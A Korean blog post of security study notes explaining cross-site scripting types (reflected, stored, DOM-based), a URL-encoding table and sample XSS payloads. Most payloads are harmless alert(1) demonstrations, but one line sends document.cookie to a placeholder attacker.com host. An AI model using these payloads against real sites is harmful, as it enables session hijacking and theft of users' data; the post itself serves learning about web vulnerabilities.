XSS (Cross-Site Scripting)

 

사용자의 웹 브라우저에서 악성 스크립트는 실행시키는 공격입니다.

공격자가 악성 javascript 코드를 웹 사이트에 삽입하고, 다른 사용자의 브라우저에서 그 코드를 실행시키도록 만드는 취약점입니다.

 

XSS 종류

 

1. Reflected XSS (반사형)

  • 피해자가 URL에 포함된 악성 코드를 클릭하여 실행되는 공격입니다.
  • 피해자가 스스로 URL을 클릭하였을 때, 서버는 그 입력값을 그대로 피해자에게 렌더링 하기에 공격 코드가 반사되어 돌아옵니다.
http://example.com/search?q=<script>alert(1)</script>
  • 위 같은 URL를 사용자가 클릭할 시, <script> 구문을 서버가 그대로 HTML에 넣어서 반환하게됩니다.
  • 그 후 사용자의 브라우저가 그 코드를 실행하면서 공격이 이루어집니다.

2. Stored XSS (저장형)

  • 공격자가 악성 스크립트는 데이터베이스에 저장시킴으로써 실행되는 공격입니다.
  • 게시판의 글이나 댓글 등에 악성 스크립트를 심고, 사용자가 그 페이지를 여는 순간 자동으로 실행되며 공격이 이루어집니다.
  • 게시판에 <script>alert(1)</script> 라는 글을 해커가 작성하고 글을 올리면, 누군가가 그 글을 클릭했을 때 <script> 구문이 실행되며 공격이 이루어집니다.

3. DOM-based XSS (Document Object Model 기반)

  • 위의 공격들과 다르게 서버가 악성 스크립트에 응답하지 않는 공격 기법입니다.
  • 대신 클라이언트 측의 javascript를 동작시켜 공격하는 방법입니다.
  • 공격자가 공격 스크립트가 담긴 DOM 페이지를 작성 후 다른 사용자가 그 페이지를 열어볼 시 공격이 실행됩니다.
  • 반사형 처럼 URL을 통해서도, 저장형처럼 글이나 댓글 등의 방법으로도 공격이 이루어 질 수 있습니다.

XSS 구문 예시

 

0. 자주 쓰는 문자 인코딩

  • < → %3C
  • > → %3E
  • " → %22
  • ' → %27
  • ( → %28
  • ) → %29
  • ; → %3B
  • / → %2F
  • \ → %5C
  • : → %3A
  • = → %3D
  • & → %26
  • + → %2B
  • # → %23
  • ? → %3F
  • 공백 → %20 또는 +
  • \t (탭) → %09
  • \n (개행, LF) → %0A
  • \r (캐리지 리턴, CR) → %0D
  • \r\n → %0D%0A

1. <script> 태그 기반 페이로드

  • 기본적인 구조 : http://example.com/search?q=<script>alert(1)</script>
  • 쿠키 탈취 예시 : <script>fetch('http://attacker.com/log?cookie='+document.cookie)</script>

2. <img> 태그, 이벤트 기반

  • 이미지 로딩 실패시 alert를 실행 시키는 방법 : http://example.com/search?q=<img src=x onerror=alert(1)>

3. <svg> 태그, 이벤트 기반

  • http://example.com/search?q=<svg onload=alert(1)>

4. <iframe> 태그, javascript: Scheme

  • http://example.com/search?q=<iframe src="javascript:alert(1)">

5. <a href="..."> 링크형

  • http://example.com/search?q=<a href="javascript:alert(1)">클릭하세요</a>

 

 

'보안 > 이론 정리' 카테고리의 다른 글

웹 해킹 - Error Based SQL Injection  (0) 2025.07.08
HTTP 요청의 구조와 헤더의 역할  (0) 2025.07.07
웹 해킹 - Command Injection  (0) 2025.04.30
웹 해킹 - SQL Injection  (0) 2025.04.29
웹 해킹 - CSRF  (0) 2025.04.24

+ Recent posts